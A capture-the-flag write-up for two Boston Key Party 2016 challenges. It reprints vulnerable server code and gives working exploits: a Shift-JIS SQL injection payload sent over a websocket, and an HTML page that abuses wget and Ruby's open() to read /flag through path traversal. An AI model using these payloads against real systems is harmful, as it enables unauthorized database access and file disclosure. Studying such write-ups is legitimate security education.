Boston Key Party CTF 2016 Good Morning and OptiProxy Writeup

Homepage:

http://bostonkey.party/

Description:

Below you can find my solution for Good Morning and OptiProxy tasks from Boston Key Party CTF 2016.

Proof of Concept:

Good Morning

#!/usr/bin/env python

from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb

app = Flask(__name__)
sockets = Sockets(app)

with open("config.json") as f:
 connect_params = json.load(f)

connect_params["db"] = "ganbatte"

# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"

questions = [
  "name",
  "quest",
  "favorite color",
]

# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
  ("\\", "\\\\"),
  ("\0", "\\0"),
  ("\n", "\\n"),
  ("\r", "\\r"),
  ("'", "\\'"),
  ('"', '\\"'),
  ("\x1a", "\\Z"),
]
def mysql_escape(s):
  for find, replace in  MYSQL_SPECIAL_CHARS:
    s = s.replace(find, replace)
  return s

@sockets.route('/ws')
def process_questsions(ws):
  i = 0
  conn = MySQLdb.connect(**connect_params)
  with conn as cursor:
    ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
    while not ws.closed:
      message = ws.receive()
      if not message: continue
      message = json.loads(message)
      if message["type"] == "answer":
        question = mysql_escape(questions[i])
        answer = mysql_escape(message["answer"])
        cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
        conn.commit()
        i += 1
        if i < len(questions):
          ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
      elif message["type"] == "get_answer":
        question = mysql_escape(message["question"])
        answer = mysql_escape(message["answer"])
        cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
        ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))
      print message

@app.route('/')
def hello():
  return app.send_static_file("index.html")

if __name__ == "__main__":
  from gevent import pywsgi
  from geventwebsocket.handler import WebSocketHandler
  addr = ('localhost', 5000)

  server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)
  server.serve_forever()

We have SQL Injection because of shift-jis encoding.

Here you can find explanation for this (page 36).

My solution (you need websocket-client):

# -*- coding: utf-8 -*-
import json
from websocket import create_connection
payload = '{"type":"get_answer","question": "¥\\" OR 1=1#", "answer":"test"}'
ws = create_connection("ws://52.86.232.163:32800/ws")
result =  ws.recv()
ws.send(payload)
result =  ws.recv()
print result
ws.close()

OptiProxy

require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'

set :bind, "0.0.0.0"
set :port, 5300
cdir = Dir.pwd
get '/' do
        str = "welcome to the automatic resource inliner, we inline all images"
        str << " go to /example.com to get an inlined version of example.com"
        str << " flag is in /flag"
        str << " source is in /source"
        str
end

get '/source' do
        IO.read "/home/optiproxy/optiproxy.rb"
end

get '/flag' do
        str = "I mean, /flag on the file system... If you're looking here, I question"
        str << " your skills"
        str
end

get '/:url' do
        url = params[:url]
        main_dir = Dir.pwd
        temp_dir = ""
        dir = Dir.mktmpdir "inliner"
        Dir.chdir dir
        temp_dir = dir
        exec = "timeout 5 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
        `#{exec}`
        my_dir = Dir.glob ("**/")
        Dir.chdir my_dir[0]
        index_file = "index.html"
        html_file = IO.read index_file
        doc = Nokogiri::HTML(open(index_file))
        doc.xpath('//img').each do |img|
                header = img.xpath('preceding::h2[1]').text
                image = img['src']
                img_data = ""
                uri_scheme = URI(image).scheme
                begin
                        if (uri_scheme == "http" or uri_scheme == "https")
                                url = image
                        else
                                url = "http://#{url}/#{image}"
                        end
                        img_data = open(url).read
                        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
                        img['src'] = b64d
                rescue
                        # gotta catch 'em all
                        puts "lole"
                        next
                end
        end
        puts dir
        FileUtils.rm_rf dir
        Dir.chdir main_dir
        doc.to_html
end

As you can read here ruby open function is very dangerous.

So we can omit uri_scheme check if we can create http: directory inside temp dir.

And because wget is used with param --page-requisites which

This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets.

we can create this dir using stylesheet directive.

<link rel="stylesheet" type="text/css" href="./http:/style.css">
<img src="http:/../../flag">
<img src="http:/../../../flag">
<img src="http:/../../../../flag">
<img src="http:/../../../../../flag">
<img src="http:/../../../../../../flag">
<img src="http:/../../../../../../../flag">
<img src="http:/../../../../../../../../flag">
<img src="http:/../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../flag">
<img src="http:/../../../../../../../../../../../../flag">

Timeline: